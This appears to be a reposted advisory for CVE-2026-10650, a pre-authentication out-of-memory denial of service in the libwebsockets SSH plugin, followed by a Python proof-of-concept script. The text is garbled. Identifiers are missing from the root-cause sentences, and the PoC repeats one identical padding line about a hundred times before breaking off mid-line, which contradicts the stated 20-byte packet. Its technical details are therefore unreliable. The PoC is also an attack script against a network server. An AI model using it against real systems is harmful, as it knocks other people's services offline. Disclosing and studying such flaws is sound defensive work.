libwebsockets CVE-2026-10650 Pre-Auth Remote DoS (OOM) via Unbounded Allocation

Vulnerability Overview CVE-2026-10650: Missing upper bound check on in , leading to a pre-authentication remote denial of service (OOM killer termination of the server). Impact Scope Version: 4.5.99-v4.5.0-382-g4a63b933 Affected Applications: Any application utilizing the SSH protocol plugin library of . Attack Conditions: Authentication is not required; an attacker can trigger the vulnerability by sending a crafted 20-byte packet. Remediation Root Cause: In , is constructed from 4 attacker-controlled bytes without an upper bound check. Remediation Advice: Add an upper bound check when constructing to prevent excessive memory allocation. POC Code ```python poc_sshd_unbounded_alloc.py import socket import sys def send_ssh_banner(sock): sock.sendall(b"SSH-2.0-PoC\r\n") def send_ssh_msg_len(sock, msg_len): sock.sendall(b"\x00\x00\x00\x04") msg_id = 4 (SSH_MSG_KEXINIT) sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.s

Goal Reached Thanks to every supporter — we hit 100%!

libwebsockets CVE-2026-10650 Pre-Auth Remote DoS (OOM) via Unbounded Allocation

More from this source